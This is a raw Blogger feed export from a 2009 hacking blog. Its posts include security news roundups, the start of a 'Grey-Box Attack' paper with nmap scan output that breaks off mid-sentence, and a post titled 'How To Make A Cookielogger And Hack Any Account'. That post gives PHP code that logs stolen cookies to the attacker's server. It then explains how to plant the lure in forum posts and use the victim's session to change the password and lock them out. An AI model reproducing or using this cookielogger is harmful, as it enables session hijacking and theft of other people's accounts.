class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-7381294425055059780?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/7381294425055059780/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/how-to-become-better-programmer.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7381294425055059780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7381294425055059780'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/how-to-become-better-programmer.html' title='How to become a better programmer'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-7788287961482625077</id><published>2009-07-21T19:55:00.000-07:00</published><updated>2009-07-21T19:56:46.493-07:00</updated><title type='text'>How To Make A Cookielogger And Hack Any Account</title><content type='html'>Cookies stores all the necessary Information about one’s account , using this information you can hack anybody’s account and change his password. If you get the Cookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hack Google, Yahoo, Orkut, Facebook, Flickr etc.&lt;br /&gt;&lt;br /&gt;What is a CookieLogger?&lt;br /&gt;&lt;br /&gt;A CookieLogger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim.&lt;br /&gt;&lt;br /&gt;Today I am going to show How to make your own Cookie Logger…Hope you will enjoy Reading it …&lt;br /&gt;&lt;br /&gt;Step 1: Save the notepad file from the link below and Rename it as Fun.gif:&lt;br /&gt;&lt;br /&gt;Download it here.&lt;br /&gt;&lt;br /&gt;Step 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;$filename = “logfile.txt”;&lt;br /&gt;if (isset($_GET["cookie"]))&lt;br /&gt;{&lt;br /&gt;if (!$handle = fopen($filename, ‘a’))&lt;br /&gt;{&lt;br /&gt;echo “Temporary Server Error,Sorry for the inconvenience.”;&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)&lt;br /&gt;{&lt;br /&gt;echo “Temporary Server Error,Sorry for the inconvenience.”;&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;echo “Temporary Server Error,Sorry for the inconvenience.”;&lt;br /&gt;fclose($handle);&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;echo “Temporary Server Error,Sorry for the inconvenience.”;&lt;br /&gt;exit;&lt;br /&gt;?&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Step 3: Create a new Notepad File and Save it as logfile.txt&lt;br /&gt;&lt;br /&gt;Step 4: Upload this file to your server&lt;br /&gt;&lt;br /&gt;cookielogger.php -&gt; http://www.yoursite.com/cookielogger.php&lt;br /&gt;logfile.txt -&gt; http://www.yoursite.com/logfile.txt (chmod 777)&lt;br /&gt;fun.gif -&gt; http://www.yoursite.com/fun.gif&lt;br /&gt;&lt;br /&gt;If you don’t have any Website then you can use the following Website to get a Free Website which has php support :&lt;br /&gt;&lt;br /&gt;http://0fees.net&lt;br /&gt;&lt;br /&gt;Step 5: Go to the victim forum and insert this code in the signature or a post :&lt;br /&gt;&lt;br /&gt;Download it here.&lt;br /&gt;&lt;br /&gt;Step 6: When the victim see the post he view the image u uploaded but when he click the image he has a Temporary Error and you will get his cookie in log.txt . The Cookie Would Look as Follows:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6% ​3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Step 7: To get the access to the Victim’s Account you need to replace your cookies with the Victim’s Cookie. You can use a Cookie Editor for this. The string before “=” is the name of the cookie and the string after “=” is its value. So Change the values of the cookies in the cookie Editor.&lt;br /&gt;&lt;br /&gt;Step 8: Goto the Website whose Account you have just hacked and You will find that you are logged in as the Victim and now you can change the victim’s account information.&lt;br /&gt;&lt;br /&gt;Note: Make Sure that from Step 6 to 8 the Victim should be Online because you are actually Hijacking the Victim’s Session So if the Victim clicks on Logout you will also Logout automatically but once you have changed the password then you can again login with the new password and the victim would not be able to login.&lt;br /&gt;&lt;br /&gt;Disclaimer: I don’t take Responsibility for what you do with this script, served for Educational purpose only.&lt;br /&gt;&lt;br /&gt;I DIDN'T WRITE THIS, FOR ANYONE WHO THOUGHT I DID,&lt;br /&gt;JUST CONTRIBUTING.&lt;br /&gt;&lt;br /&gt;reference:hackforums..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-7788287961482625077?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/7788287961482625077/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/how-to-make-cookielogger-and-hack-any.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7788287961482625077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7788287961482625077'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/how-to-make-cookielogger-and-hack-any.html' title='How To Make A Cookielogger And Hack Any Account'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-7499046362374804900</id><published>2009-07-19T05:53:00.000-07:00</published><updated>2009-07-19T05:54:20.438-07:00</updated><title type='text'>Another High-profile Hack, DDOS Probe Goes Global</title><content type='html'>A high-profile hack of a Twitter employee's e-mail and Google Apps accounts tops our news this week, in part because the whole saga offers a reminder about the need for strong passwords and exercising caution about what personal information is posted at social-networking sites, especially if, say, that information gives clues to your passwords. Elsewhere in security news, or perhaps we should say just about everywhere in security news, the search spread worldwide for the source of the massive denial-of-service attacks earlier this month.&lt;br /&gt;&lt;br /&gt;1. Hacker break-in of Twitter e-mail yields secret docs, Twitter/Google Apps hack raises questions about cloud security and Possible Twitter lawsuit would dive into murky blog waters: A hacker got into a Twitter employee's e-mail account and stole confidential documents about a month ago, raising concerns about cloud-computing security and leading to another round of warnings about the need for strong passwords and the pitfalls of posting personal information on social-networking sites, among other things. The hacker used information obtained from the administrative assistant's e-mail account to access the employee's Google Apps account. In a further twist, the hacker offered the confidential documents to some bloggers and online sites, prompting Twitter cofounder Biz Stone to threaten legal action against those who publish the information.&lt;br /&gt;&lt;br /&gt;2. Cyberattack probe goes global: British authorities are investigating the cyberattacks earlier this month that brought down prominent Web sites in the U.S., including government sites, and in South Korea. Security researchers traced the master command-and-control server used in the denial-of-service attacks to the U.K., but the master server apparently was located in Miami.&lt;br /&gt;&lt;br /&gt;3. Reports: Microsoft and Yahoo close to search ad deal: The story that refuses to die reared its head again this week with reports that Microsoft and Yahoo are close to a search ad deal that could happen in less than a week. If it does, we will fill you in on the details next week and then hope to never have to speak of the matter again.&lt;br /&gt;&lt;br /&gt;4. Wall Street Beat: IT investors eye bellwether financials: Various IT bellwethers reported quarterly financials this week, with some encouraging signs that tech spending has bottomed out and will begin to climb out of the rut it has been in as the second half of the year progresses.&lt;br /&gt;&lt;br /&gt;5. Analysts see alarming development in mobile malware: Mobile botnets are surely on the horizon, with the first worm that spread on mobile devices via spam text messages the harbinger, says one security vendor.&lt;br /&gt;&lt;br /&gt;6. Sun shareholders give nod to Oracle deal: Sun shareholders approved the company's acquisition by Oracle, but the voting margin in favor of the deal was "surprisingly low" in the opinion of Dan Olds, an analyst with Gabriel Consulting Group.&lt;br /&gt;&lt;br /&gt;7. China's Internet users outnumber U.S. population: China had 338 million Internet users at the end of June -- more than the U.S. population, which stands at just shy of 307 million. More people in China are using e-commerce and accessing the Web using mobile phones than previously, and overall Internet use there is the highest of any country, according to the China Internet Network Information Center.&lt;br /&gt;&lt;br /&gt;8. Survey says most companies won't deploy Windows 7: Almost six in 10 companies have no current plans to move to Microsoft's Windows 7, which is supposed to be out in October, according to a survey published by ScriptLogic, which makes software tools for the Windows OS.&lt;br /&gt;&lt;br /&gt;9. Spam: Still a shopper's paradise: For those of us who remain mystified about why it is that spam messages purporting to sell products keep rolling into our inboxes -- who in the world clicks on those links? -- the Messaging Anti-Abuse Working Group supplied some answers. Twelve percent of respondents to a recent survey said they bought something that way, and that apparently is a high enough percentage to make spam a lucrative venture. As Ian Paul says at the outset of his column about the survey -- "All right. Listen up people: We have a problem."&lt;br /&gt;&lt;br /&gt;10. 10 gifts from Apollo and Apollo's 40th anniversary shows true wonder of the Internet: We end this week's Top 10 with a Network World slide show that looks at 10 technologies brought to us by NASA's Apollo 11 project that landed men on the moon 40 years ago on July 20. "And today, through the true magic of the Internet, we are able to again see, hear and experience a second-by-second re-enactment of that spectacular event and relive it right on our computer screens," Todd Weiss marvels in his PC World column. &lt;br /&gt;&lt;br /&gt;reference:http://www.packetstormsecurity.org/,http://www.pcworld.com/businesscenter/article/168640/another_highprofile_hack_ddos_probe_goes_global.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-7499046362374804900?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/7499046362374804900/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/another-high-profile-hack-ddos-probe.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7499046362374804900'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7499046362374804900'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/another-high-profile-hack-ddos-probe.html' title='Another High-profile Hack, DDOS Probe Goes Global'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-8644296039644111141</id><published>2009-07-19T05:52:00.000-07:00</published><updated>2009-07-19T05:53:28.943-07:00</updated><title type='text'>Portland sites hacked by Turkish hackers</title><content type='html'>A handful of Portland Web sites became the unsuspecting targets of Turkish hackers over the weekend.&lt;br /&gt;&lt;br /&gt;The home page of the Central Northeast Neighbors was replaced by a message claiming the site had been cracked by a Turkish hacker. Five other sites were also hit.&lt;br /&gt;&lt;br /&gt;"We're a small community non-profit so it's kind of odd he would choose us," said Sandra Lefrancois, community program director.&lt;br /&gt;&lt;br /&gt;Todd Coward, the owner of the company that hosts and services the sites, said the hacker simply erased the homepage and replaced it with his own.&lt;br /&gt;&lt;br /&gt;Coward keeps all the files and data on private servers. He hosts more than 30 sites but only a handful were hacked. He said there's no way of knowing who is really responsible.&lt;br /&gt;&lt;br /&gt;"I suspect he's in Turkey, (but) I don't know where he is," Coward said. "I think these people do this just to show he can do it."&lt;br /&gt;&lt;br /&gt;Central Northeast neighbors were left wondering why they became the victims of an online hijacking.&lt;br /&gt;&lt;br /&gt;"People don't really understand what this is all about," Lefrancois said. "Is it dangerous? Is it hurting something? Is it ruining my computer? Even somebody just looking at the site, there's kind of an aura of fear there."&lt;br /&gt;&lt;br /&gt;LeFrancois said she hopes the hacking doesn't keep people away from the sites.&lt;br /&gt;&lt;br /&gt;"The thing is, they may not come back to the site," she said. "We want people to repeatedly come back."&lt;br /&gt;&lt;br /&gt;A Google search Wednesday showed numerous sites claiming to be hacked. All sites were running as normal by Wednesday night.&lt;br /&gt;&lt;br /&gt;reference:http://www.packetstormsecurity.org/,http://www.kxl.com/ArticlePage/itemid/18048/Portland-sites-hacked-by-Turkish-hackers/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-8644296039644111141?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/8644296039644111141/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/portland-sites-hacked-by-turkish.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/8644296039644111141'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/8644296039644111141'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/07/portland-sites-hacked-by-turkish.html' title='Portland sites hacked by Turkish hackers'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-9052680558630353664</id><published>2009-07-17T06:14:00.000-07:00</published><updated>2009-07-17T06:19:00.479-07:00</updated><title type='text'>The Art of Grey-Box Attack</title><content type='html'>		|=--------------------------------------------------------------------=|&lt;br /&gt;		|=-----------------=[ The Art of Grey-Box Attack ]=-------------------=|&lt;br /&gt;		|=--------------------------=[ 4 July 2009 ]=-------------------------=|&lt;br /&gt;		|=----------------------=[  By CWH Underground  ]=--------------------=|&lt;br /&gt;		|=--------------------------------------------------------------------=|&lt;br /&gt;				&lt;br /&gt;&lt;br /&gt;######&lt;br /&gt; Info&lt;br /&gt;######&lt;br /&gt;&lt;br /&gt;Title	: The Art of Grey-Box Attack&lt;br /&gt;Author	: ZeQ3uL  (Prathan Phongthiproek)&lt;br /&gt;	  JabAv0C (Wiswat Aswamenakul)&lt;br /&gt;Team    : CWH Underground [www.milw0rm.com/author/1456]&lt;br /&gt;Website	: cwh.citec.us / www.citec.us&lt;br /&gt;Date	: 2009-07-04&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;##########&lt;br /&gt; Contents&lt;br /&gt;##########&lt;br /&gt;&lt;br /&gt;  [0x00] - Introduction&lt;br /&gt;&lt;br /&gt;  [0x01] - The Art of Microsoft Windows Attack&lt;br /&gt;&lt;br /&gt;	[0x01a] - Scanning &amp; Enumeration&lt;br /&gt;	[0x01b] - Gaining Access&lt;br /&gt;	[0x01c] - Escalating Privilege&lt;br /&gt;&lt;br /&gt;  [0x02] - The Art of Unix/Linux Attack&lt;br /&gt;	&lt;br /&gt;	[0x02a] - Scanning &amp; Enumeration&lt;br /&gt;	[0x02b] - Gaining Access&lt;br /&gt;	[0x02c] - Escalating Privilege&lt;br /&gt;&lt;br /&gt;  [0x03] - Metasploit Ninja-Autopwned&lt;br /&gt;&lt;br /&gt;	[0x03a] - Nmap+Metasploit Autopwned &lt;br /&gt;	[0x03b] - Nessus+Metasploit Autopwned&lt;br /&gt;&lt;br /&gt;  [0x04] - Client-Side Attack with Metasploit&lt;br /&gt;&lt;br /&gt;	[0x04a] - Metasploit Payload Generator&lt;br /&gt;	[0x04b] - MS-Office Macro Ownage&lt;br /&gt;	[0x04c] - AdobeReader PDF Ownage&lt;br /&gt;&lt;br /&gt;  [0x05] - References&lt;br /&gt;&lt;br /&gt;  [0x06] - Greetz To&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#######################&lt;br /&gt; [0x00] - Introduction&lt;br /&gt;#######################&lt;br /&gt;&lt;br /&gt;	Hi all, in this paper, we will guide you about methods to hacking into Windows&lt;br /&gt;system and linux system. Moreover, we also show the ways to use popular hacking tools,&lt;br /&gt;nmap and metasploit. Those tools are more powerfull than day in the past (We will see it ;D)&lt;br /&gt;&lt;br /&gt;	We divide the paper into 7 sections from 0x00 to 0x06. However, only section 0x01 to&lt;br /&gt;0x04 are technical issue. Section 0x01, we show the steps to hack into Windows 2000 operating&lt;br /&gt;system. Section 0x02, we switch to talk about steps of linux hacking. The next section, 0x03,&lt;br /&gt;mentions about automatic exploiting by using metasploit combining with nmap or nessus.&lt;br /&gt;The last technical section lets you see examples of exploiting client software in order to &lt;br /&gt;get access to a system  :-D &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;##############################################&lt;br /&gt; [0x01] - The Art of Microsoft Windows Attack&lt;br /&gt;##############################################&lt;br /&gt;	&lt;br /&gt;		In this section, we talk about attacking Windows machines in network. We will start with scanning&lt;br /&gt;	and enumeration then we move to gain access to Windows system and, finally, escalating privilege&lt;br /&gt;	in order to control the machine completely and use the machine to attack other machines in the network.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;	++++++++++++++++++++++++++++++++++&lt;br /&gt;	 [0x01a] - Scanning &amp; Enumeration&lt;br /&gt;	++++++++++++++++++++++++++++++++++&lt;br /&gt;	&lt;br /&gt;		First, start with scanning by using nmap (http://nmap.org) which is the best in our opinion.&lt;br /&gt;	New version of nmap improves scanning speed, mappes port with service name and adds custom script feature&lt;br /&gt;	which is perfect use for penetration testing.&lt;br /&gt;&lt;br /&gt;	The first example, We use nmap to scan for openning ports which are the channels to attack the system:&lt;br /&gt;&lt;br /&gt;	[Nmap Result]-----------------------------------------------------------------------------------&lt;br /&gt;	&lt;br /&gt;	bt nmap-4.85BETA10 # nmap -sV 192.168.80.129&lt;br /&gt;&lt;br /&gt;	Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 10:03 GMT&lt;br /&gt;	Warning: File ./nmap-services exists, but Nmap is using /usr/local/share/nmap/nmap-services for security and consistency reasons.  &lt;br /&gt;	set NMAPDIR=. to give priority to files in your local directory (may affect the other data files too).&lt;br /&gt;	Interesting ports on 192.168.80.129:&lt;br /&gt;	Not shown: 990 closed ports&lt;br /&gt;	PORT     STATE SERVICE      VERSION&lt;br /&gt;	80/tcp   open  http         Microsoft IIS webserver 5.0&lt;br /&gt;	135/tcp  open  mstask       Microsoft mstask (task server - c:\winnt\system32\Mstask.exe)&lt;br /&gt;	139/tcp  open  netbios-ssn&lt;br /&gt;	443/tcp  open  https?&lt;br /&gt;	445/tcp  open  microsoft-ds Microsoft Windows 2000 microsoft-ds&lt;br /&gt;	1025/tcp open  mstask       Microsoft mstask (task server - c:\winnt\system32\Mstask.exe)&lt;br /&gt;	1026/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;	1027/tcp open  msrpc        Microsoft Windows RPC&lt;br /&gt;	1433/tcp open  ms-sql-s     Microsoft SQL Server 2000 8.00.194; RTM&lt;br /&gt;	3372/tcp open  msdtc?&lt;br /&gt;	1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :&lt;br /&gt;	SF-Port3372-TCP:V=4.85BETA10%I=7%D=7/3%Time=4A4DD777%P=i686-pc-linux-gnu%r&lt;br /&gt;	SF:(GetRequest,6,"\x18\xc1\n\0x\x01")%r(RTSPRequest,6,"\x18\xc1\n\0x\x01")&lt;br /&gt;	SF:%r(HTTPOptions,6,"\x18\xc1\n\0x\x01")%r(Help,6,"\x18\xc1\n\0x\x01")%r(S&lt;br /&gt;	SF:SLSessionReq,6,"\x18\xc1\n\0x\x01")%r(FourOhFourRequest,6,"\x18\xc1\n\0&lt;br /&gt;	SF:x\x01")%r(LPDString,6,"\x18\xc1\n\0x\x01")%r(SIPOptions,6,"\x18\xc1\n\0&lt;br /&gt;	SF:x\x01");&lt;br /&gt;	MAC Address: 00:0C:29:CC:CF:46 (VMware)&lt;br /&gt;	Service Info: OS: Windows&lt;br /&gt;&lt;br /&gt;	Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .&lt;br /&gt;	Nmap done: 1 IP address (1 host up) scanned in 71.68 seconds&lt;br /&gt;&lt;br /&gt;	[End Result]------------------------------------------------------------------------------------&lt;br /&gt;	&lt;br /&gt;		From result, we get a list of opening ports and we know that this system runs IIS, Netbios, Endpoint Mapper, SMB, MSSQL2000&lt;br /&gt;	and the operating system is Windows 2000 (We pick Windows 2000 as the example because we want you to see the big picture of&lt;br /&gt;	Windows hacking). The next step is an information gathering from Netbios and SMB. Windows 2000 has "Null Session" vulnerability&lt;br /&gt;	(Holygrail of Windows Vulnerability) which allows us to enumerate all accounts in the system including security policies, &lt;br /&gt;	local group, file share. We pick nmap to gather the information by using Nmap-script. In the past, We had t
